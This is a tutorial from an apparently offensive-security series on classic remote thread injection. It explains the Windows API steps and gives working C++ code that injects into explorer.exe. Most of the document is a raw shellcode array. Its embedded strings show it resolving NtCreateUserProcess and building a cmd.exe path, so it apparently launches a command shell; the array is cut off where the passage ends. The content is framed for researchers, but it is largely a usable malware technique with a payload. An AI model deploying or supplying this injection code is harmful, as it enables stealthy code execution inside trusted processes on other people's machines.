ProcessInjectionTechniques
This comprehensive process injection series is crafted for cybersecurity enthusiasts, researchers, and professionals who aim to stay at the forefront of the field. It serves as a central repository of knowledge, offering in-depth exploration of various process injection techniques and methods used by adversaries.
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Classic Code Injection Remote Process
Overview
In this lab, we cover classic code injection in remote process. This is one of the most straightforward forms of process injection technique also known as Remote Thread Injection. This method involves creating a new thread in a remote process and executing the payload or shellcode within that context. This is often done using Windows API functions such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.
Steps
Identify the Target Process:Toolhelp32functions to enumerate running processes and identify the target process by its name.Obtain a Handle to the Target Process:OpenProcessfunction to get a handle with necessary access rights (PROCESS_ALL_ACCESS).Allocate Memory in the Target Process:VirtualAllocExfunction to allocate memory in the target process’s address space.Write Shellcode to the Allocated Memory:WriteProcessMemoryto write the shellcode into the allocated memory.Create a Remote Thread to Execute the Shellcode:CreateRemoteThreadfunction to create a new thread in the target process that starts at the address of the our shellcode.
Walkthrough
These headers are necessary to use the Windows API functions for process enumeration, memory manipulation, and thread creation.
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
This function, GetProcessHandleByName, takes the target process’s name (e.g., L”explorer.exe”) and returns its handle by enumerating through all running processes.
HANDLE GetProcessHandleByName(const std::wstring& processName) {
HANDLE hProcess = nullptr;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return nullptr;
if (Process32FirstW(snapshot, &pe32)) {
do {
if (processName == pe32.szExeFile) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
break;
}
} while (Process32NextW(snapshot, &pe32));
}
CloseHandle(snapshot);
return hProcess;
}
VirtualAllocEx is used to allocate a block of memory in the virtual address space of the target process (explorer.exe). The memory is allocated with PAGE_EXECUTE_READWRITE permissions to allow the shellcode to be written and executed.
// Allocate a memory buffer for payload with permission RWX
my_sc_mem = VirtualAllocEx(hProcess, 0, sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory writes our shellcode into the allocated memory in the target process.
// copy payload to allocated buffer using WriteProcessMemory()
WriteProcessMemory(hProcess, my_sc_mem, sc, sc_len, NULL);
CreateRemoteThread creates a new thread in the target process. The thread starts executing at the address of the injected shellcode. The code then waits for the thread to complete using WaitForSingleObject and cleans up the handles.
// run shellcode
hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)my_sc_mem, NULL, 0, NULL);
if (hthread != NULL) {
WaitForSingleObject(hthread, 500);
CloseHandle(hthread);
}
Full Code
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
// Shellcode: Hello from offensive Panda
unsigned char sc[] = { 0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03,
0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00,
0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08,
0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18,
0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00,
0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00,
0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85,
0x58, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38,
0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x64, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64,
0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x6C, 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02,
0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F,
0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68,
0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB,
0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01,
0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89,
0x85, 0x6C, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x60,
0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10,
0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x50, 0x01,
0x00, 0x00, 0xEB, 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F,
0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00,
0x48, 0x89, 0x85, 0x70, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74,
0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C,
0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0x50, 0x00,
0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01,
0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x60, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85,
0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F,
0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x8D, 0x01,
0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D,
0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0xEB,
0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C,
0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F,
0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88,
0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85,
0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00,
0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D, 0x94, 0x01, 0x00,
0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF, 0x83, 0xBD, 0x88,
0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85,
0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48,
0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C,
0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00,
0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
0x8C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83,
0xC0, 0x20, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
0x85, 0x8C, 0x01, 0x00, 0x00, 0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66,
0x0F, 0xBE, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01,
0x00, 0x00, 0x0F, 0xB7, 0x85, 0x90, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
0x94, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x88, 0x01, 0x00, 0x00,
0x83, 0xBD, 0x88, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10, 0x48, 0x8B, 0x85,
0x80, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x78, 0x01, 0x00, 0x00, 0xEB,
0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48,
0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00,
0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F, 0x85, 0xF9, 0xFC,
0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
0x30, 0x48, 0x89, 0x85, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x98,
0x01, 0x00, 0x00, 0x48, 0x63, 0x40, 0x3C, 0x48, 0x8B, 0x8D, 0x98, 0x01,
0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA0,
0x01, 0x00, 0x00, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
0x48, 0x8B, 0x8D, 0xA0, 0x01, 0x00, 0x00, 0x8B, 0x84, 0x01, 0x88, 0x00,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8,
0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x48, 0x8B,
0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x20, 0x48, 0x8B, 0x8D, 0x98,
0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85,
0xB0, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F,
0x63, 0x41, 0x48, 0x89, 0x45, 0x10, 0xC7, 0x85, 0xB8, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x8D, 0xB0, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04, 0x81, 0x48, 0x8B,
0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x10, 0x48, 0x39, 0x14,
0x01, 0x74, 0x10, 0x8B, 0x85, 0xB8, 0x01, 0x00, 0x00, 0xFF, 0xC0, 0x89,
0x85, 0xB8, 0x01, 0x00, 0x00, 0xEB, 0xCD, 0x48, 0x8B, 0x85, 0xA8, 0x01,
0x00, 0x00, 0x8B, 0x40, 0x24, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00,
0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1, 0x48, 0x89, 0x85, 0xC0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xA8, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x1C, 0x48,
0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48, 0x8B, 0xC1,
0x48, 0x89, 0x85, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x85, 0xB8, 0x01,
0x00, 0x00, 0x48, 0x8B, 0x8D, 0xC0, 0x01, 0x00, 0x00, 0x48, 0x0F, 0xBF,
0x04, 0x41, 0x48, 0x8B, 0x8D, 0xC8, 0x01, 0x00, 0x00, 0x48, 0x63, 0x04,
0x81, 0x48, 0x8B, 0x8D, 0x98, 0x01, 0x00, 0x00, 0x48, 0x03, 0xC8, 0x48,
0x8B, 0xC1, 0x48, 0x89, 0x85, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
0x98, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xD8, 0x01, 0x00, 0x00, 0x48,
0x8B, 0x85, 0x78, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xE0, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x85, 0xE0, 0x01, 0x00, 0x00, 0xC7, 0x80, 0x14, 0x01,
0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x78, 0x01, 0x00,
0x00, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x89, 0x85, 0xE8, 0x01, 0x00, 0x00,
0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x48, 0x89,
0x45, 0x10, 0x48, 0xC7, 0x45, 0x18, 0x61, 0x72, 0x79, 0x41, 0x48, 0x8D,
0x55, 0x10, 0x48, 0x8B, 0x8D, 0xD8, 0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0,
0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF0, 0x01, 0x00, 0x00, 0x48, 0xB8,
0x52, 0x74, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x10,
0x48, 0xB8, 0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89,
0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xF8, 0x01,
0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x43, 0x72, 0x65, 0x61, 0x74,
0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65,
0x73, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61,
0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7, 0x45, 0x50,
0x72, 0x73, 0x45, 0x78, 0x48, 0x8D, 0x55, 0x38, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x00, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x4E, 0x74, 0x43, 0x72, 0x65, 0x61,
0x74, 0x65, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72,
0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x65, 0x73, 0x73, 0x00, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x08, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69,
0x74, 0x55, 0x48, 0x89, 0x45, 0x20, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F,
0x64, 0x65, 0x53, 0x74, 0x48, 0x89, 0x45, 0x28, 0x48, 0xC7, 0x45, 0x30,
0x72, 0x69, 0x6E, 0x67, 0x48, 0x8D, 0x55, 0x20, 0x48, 0x8B, 0x8D, 0xE8,
0x01, 0x00, 0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85,
0x10, 0x02, 0x00, 0x00, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00,
0x5C, 0x00, 0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00,
0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x68, 0x48, 0xB8, 0x69, 0x00,
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x45, 0x70, 0x48, 0xB8,
0x77, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x48, 0x89, 0x45, 0x78,
0x48, 0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00, 0x48, 0x89,
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0x00, 0x5C, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00, 0x00, 0x00, 0x48, 0xB8,
0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0x89, 0x85, 0x90,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00,
0x00, 0x48, 0x89, 0x85, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x55, 0x60,
